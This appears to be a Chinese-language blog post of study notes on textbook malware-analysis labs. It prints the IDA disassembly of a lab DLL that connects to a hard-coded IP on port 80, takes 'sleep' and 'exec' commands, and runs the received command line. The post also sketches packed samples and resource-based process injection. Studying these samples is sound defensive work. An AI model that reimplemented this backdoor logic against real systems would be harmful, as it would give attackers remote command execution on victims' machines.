恶意代码分析训练第一天
最近在看恶意代码分析与实战,写下博客记录一下上面的一些作业
dll程序
.text:10001010 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) .text:10001010 _DllMain@12 proc near ; CODE XREF: DllEntryPoint+4B↓p .text:10001010 .text:10001010 hObject = dword ptr -11F8h .text:10001010 name = sockaddr ptr -11F4h .text:10001010 ProcessInformation= _PROCESS_INFORMATION ptr -11E4h .text:10001010 StartupInfo = _STARTUPINFOA ptr -11D4h .text:10001010 WSAData = WSAData ptr -1190h .text:10001010 buf = byte ptr -1000h .text:10001010 var_FFF = byte ptr -0FFFh .text:10001010 CommandLine = byte ptr -0FFBh .text:10001010 hinstDLL = dword ptr 4 .text:10001010 fdwReason = dword ptr 8 .text:10001010 lpvReserved = dword ptr 0Ch .text:10001010 .text:10001010 mov eax, 11F8h .text:10001015 call __alloca_probe .text:1000101A mov eax, [esp+11F8h+fdwReason] .text:10001021 push ebx .text:10001022 push ebp .text:10001023 push esi .text:10001024 cmp eax, 1 .text:10001027 push edi .text:10001028 jnz loc_100011E8 .text:1000102E mov al, byte_10026054 .text:10001033 mov ecx, 3FFh .text:10001038 mov [esp+1208h+buf], al .text:1000103F xor eax, eax .text:10001041 lea edi, [esp+1208h+var_FFF] .text:10001048 push offset Name ; "SADFHUHF" .text:1000104D rep stosd .text:1000104F stosw .text:10001051 push 0 ; bInheritHandle .text:10001053 push 1F0001h ; dwDesiredAccess .text:10001058 stosb .text:10001059 call ds:OpenMutexA .text:1000105F test eax, eax .text:10001061 jnz loc_100011E8 .text:10001067 push offset Name ; "SADFHUHF" .text:1000106C push eax ; bInitialOwner .text:1000106D push eax ; lpMutexAttributes .text:1000106E call ds:CreateMutexA .text:10001074 lea ecx, [esp+1208h+WSAData] .text:10001078 push ecx ; lpWSAData .text:10001079 push 202h ; wVersionRequested .text:1000107E call ds:WSAStartup ; 调用Socket之前,必须调用这个,否则不能使用别的SOCKET其他函数 .text:10001084 test eax, eax .text:10001086 jnz loc_100011E8 .text:1000108C push 6 ; protocol .text:1000108E push 1 ; type .text:10001090 push 2 ; af .text:10001092 call ds:socket .text:10001098 mov esi, eax .text:1000109A cmp esi, 0FFFFFFFFh .text:1000109D jz loc_100011E2 .text:100010A3 push offset cp ; "127.26.152.13" .text:100010A8 mov [esp+120Ch+name.sa_family], 2 .text:100010AF call ds:inet_addr .text:100010B5 push 50h ; hostshort .text:100010B7 mov dword ptr [esp+120Ch+name.sa_data+2], eax .text:100010BB call ds:htons .text:100010C1 lea edx, [esp+1208h+name] .text:100010C5 push 10h ; namelen .text:100010C7 push edx ; name .text:100010C8 push esi ; s .text:100010C9 mov word ptr [esp+1214h+name.sa_data], ax .text:100010CE call ds:connect .text:100010D4 cmp eax, 0FFFFFFFFh .text:100010D7 jz loc_100011DB .text:100010DD mov ebp, ds:strncmp .text:100010E3 mov ebx, ds:CreateProcessA .text:100010E9 .text:100010E9 loc_100010E9: ; CODE XREF: DllMain(x,x,x)+12A↓j .text:100010E9 ; DllMain(x,x,x)+14F↓j ... .text:100010E9 mov edi, offset buf ; "hello" .text:100010EE or ecx, 0FFFFFFFFh .text:100010F1 xor eax, eax .text:100010F3 push 0 ; flags .text:100010F5 repne scasb .text:100010F7 not ecx .text:100010F9 dec ecx .text:100010FA push ecx ; len .text:100010FB push offset buf ; "hello" .text:10001100 push esi ; s .text:10001101 call ds:send .text:10001107 cmp eax, 0FFFFFFFFh .text:1000110A jz loc_100011DB .text:10001110 push 1 ; how .text:10001112 push esi ; s .text:10001113 call ds:shutdown .text:10001119 cmp eax, 0FFFFFFFFh .text:1000111C jz loc_100011DB .text:10001122 push 0 ; flags .text:10001124 lea eax, [esp+120Ch+buf] .text:1000112B push 1000h ; len .text:10001130 push eax ; buf .text:10001131 push esi ; s .text:10001132 call ds:recv .text:10001138 test eax, eax .text:1000113A jle short loc_100010E9 .text:1000113C lea ecx, [esp+1208h+buf] .text:10001143 push 5 ; MaxCount .text:10001145 push ecx ; Str2 .text:10001146 push offset Str1 ; "sleep" .text:1000114B call ebp ; strncmp .text:1000114D add esp, 0Ch .text:10001150 test eax, eax .text:10001152 jnz short loc_10001161 .text:10001154 push 60000h ; dwMilliseconds .text:10001159 call ds:Sleep .text:1000115F jmp short loc_100010E9 .text:10001161 ; --------------------------------------------------------------------------- .text:10001161 .text:10001161 loc_10001161: ; CODE XREF: DllMain(x,x,x)+142↑j .text:10001161 lea edx, [esp+1208h+buf] .text:10001168 push 4 ; MaxCount .text:1000116A push edx ; Str2 .text:1000116B push offset aExec ; "exec" .text:10001170 call ebp ; strncmp .text:10001172 add esp, 0Ch .text:10001175 test eax, eax .text:10001177 jnz short loc_100011B6 .text:10001179 mov ecx, 11h .text:1000117E lea edi, [esp+1208h+StartupInfo] .text:10001182 rep stosd .text:10001184 lea eax, [esp+1208h+ProcessInformation] .text:10001188 lea ecx, [esp+1208h+StartupInfo] .text:1000118C push eax ; lpProcessInformation .text:1000118D push ecx ; lpStartupInfo .text:1000118E push 0 ; lpCurrentDirectory .text:10001190 push 0 ; lpEnvironment .text:10001192 push 8000000h ; dwCreationFlags .text:10001197 push 1 ; bInheritHandles .text:10001199 push 0 ; lpThreadAttributes .text:1000119B lea edx, [esp+1224h+CommandLine] .text:100011A2 push 0 ; lpProcessAttributes .text:100011A4 push edx ; lpCommandLine .text:100011A5 push 0 ; lpApplicationName .text:100011A7 mov [esp+1230h+StartupInfo.cb], 44h .text:100011AF call ebx ; CreateProcessA .text:100011B1 jmp loc_100010E9 .text:100011B6 ; --------------------------------------------------------------------------- .text:100011B6 .text:100011B6 loc_100011B6: ; CODE XREF: DllMain(x,x,x)+167↑j .text:100011B6 cmp [esp+1208h+buf], 71h .text:100011BE jz short loc_100011D0 .text:100011C0 push 60000h ; dwMilliseconds .text:100011C5 call ds:Sleep .text:100011CB jmp loc_100010E9 .text:100011D0 ; --------------------------------------------------------------------------- .text:100011D0 .text:100011D0 loc_100011D0: ; CODE XREF: DllMain(x,x,x)+1AE↑j .text:100011D0 mov eax, [esp+1208h+hObject] .text:100011D4 push eax ; hObject .text:100011D5 call ds:CloseHandle .text:100011DB .text:100011DB loc_100011DB: ; CODE XREF: DllMain(x,x,x)+C7↑j .text:100011DB ; DllMain(x,x,x)+FA↑j ... .text:100011DB push esi ; s .text:100011DC call ds:closesocket .text:100011E2 .text:100011E2 loc_100011E2: ; CODE XREF: DllMain(x,x,x)+8D↑j .text:100011E2 call ds:WSACleanup .text:100011E8 .text:100011E8 loc_100011E8: ; CODE XREF: DllMain(x,x,x)+18↑j .text:100011E8 ; DllMain(x,x,x)+51↑j ... .text:100011E8 pop edi .text:100011E9 pop esi .text:100011EA pop ebp .text:100011EB mov eax, 1 .text:100011F0 pop ebx .text:100011F1 add esp, 11F8h .text:100011F7 retn 0Ch .text:100011F7 _DllMain@12 endp
第一次分析不太会,所以简单的分析了一下,数组的初始化,并打开了一个互斥体
mov al, byte_10026054 mov ecx, 3FFh mov [esp+1208h+buf], al xor eax, eax lea edi, [esp+1208h+var_FFF] push offset Name ; "SADFHUHF" rep stosd stosw push 0 ; bInheritHandle push 1F0001h ; dwDesiredAccess stosb call ds:OpenMutexA test eax, eax jnz loc_100011E8
打开互斥体失败则,创建互斥体,并且调用WSAStartup函数,官方解释
The WSAStartup function initiates use of the Winsock DLL by a process.
push offset Name ; "SADFHUHF" push eax ; bInitialOwner push eax ; lpMutexAttributes call ds:CreateMutexA lea ecx, [esp+1208h+WSAData] push ecx ; lpWSAData push 202h ; wVersionRequested call ds:WSAStartup ; 调用Socket之前,必须调用这个,否则不能使用别的SOCKET其他函数 test eax, eax jnz loc_100011E8
如果成功,则调用的了socket函数,相关文档:https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket
这里应该是创建了一个基于IPV4、TCP\IP的套接字
push 6 ; protocol IPPROTO_IGMP push 1 ; type SOCK_STREAM push 2 ; af AF_INET call ds:socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_100011E2
如果创建成功则,intet_addr,这个看函数名应该就可以知道,设置目标地址
而htons这个没看懂官方解释,以大端形式传输?
The htons function converts a u_short from host to TCP/IP network byte order (which is big-endian).
然后建立连接connect
push offset cp ; "127.26.152.13" mov [esp+120Ch+name.sa_family], 2 call ds:inet_addr push 50h ; hostshort mov dword ptr [esp+120Ch+name.sa_data+2], eax call ds:htons lea edx, [esp+1208h+name] push 10h ; namelen push edx ; name push esi ; s mov word ptr [esp+1214h+name.sa_data], ax call ds:connect cmp eax, 0FFFFFFFFh jz loc_100011DB
建立成功后,发送hello数据
loc_100010E9: mov edi, offset buf ; "hello" or ecx, 0FFFFFFFFh xor eax, eax push 0 ; flags repne scasb not ecx dec ecx push ecx ; len push offset buf ; "hello" push esi ; s call ds:send cmp eax, 0FFFFFFFFh jz loc_100011DB
发送完数据后,会尝试关闭套接字,如果关闭失败,说明有消息可以接受,否则关闭成功
push 1 ; how push esi ; s call ds:shutdown cmp eax, 0FFFFFFFFh jz loc_100011DB
接收数据
push 0 ; flags lea eax, [esp+120Ch+buf] push 1000h ; len push eax ; buf push esi ; s call ds:recv test eax, eax jle short loc_100010E9
检验是否为sleep,如果是则线程睡眠
lea ecx, [esp+1208h+buf] push 5 ; MaxCount push ecx ; Str2 push offset Str1 ; "sleep" call ebp ; strncmp add esp, 0Ch test eax, eax jnz short loc_10001161
否则检验是否为exec,是则创建一个进程,叫exec,并且再去检验新接收的数据是什么
loc_10001161: lea edx, [esp+1208h+buf] push 4 ; MaxCount push edx ; Str2 push offset aExec ; "exec" call ebp ; strncmp add esp, 0Ch test eax, eax jnz short loc_100011B6
创建进程
mov ecx, 11h lea edi, [esp+1208h+StartupInfo] rep stosd lea eax, [esp+1208h+ProcessInformation] lea ecx, [esp+1208h+StartupInfo] push eax ; lpProcessInformation push ecx ; lpStartupInfo push 0 ; lpCurrentDirectory push 0 ; lpEnvironment push 8000000h ; dwCreationFlags push 1 ; bInheritHandles push 0 ; lpThreadAttributes lea edx, [esp+1224h+CommandLine] push 0 ; lpProcessAttributes push edx ; lpCommandLine push 0 ; lpApplicationName mov [esp+1230h+StartupInfo.cb], 44h call ebx ; CreateProcessA jmp loc_100010E9
Lab 1-2
用peid检查发现有upx壳,直接用命令upx -d *.exe脱壳即可
查看导入函数发现有advapi32.dll这个dll文件,再看看导入函数
通过查看导入函数可以知道创建服务,然后创建线程去执行一个函数
再看看该线程创建后,会去打开浏览器然后打开某个网页
Lab 1-3
用peid检查时,发现有fsg壳,但我不会脱,看了答案后,发现目前不要求脱
打开ida查看导入表,发现只有loadlibraryA和GetProcAddress这两个函数,这两个函数可以导致一个程序没有导入表,所以所有函数都是通过这个来导入的
Lab 1-4
PEID检查没有什么问题
打开ida查看导入表
发现有ADVAPI32.dll发现有提权行文,WriteFile有写入行为,CreateRemoteThread有创建远程线程行为,还有LoadResource,判断程序流程可能是这样的,加载资源表,然后把资源表里的程序写入文件中,在用Open打开进程,并创建远程线程来执行他。
我们用Resource Haker可以看到其资源表里面有一个可执行文件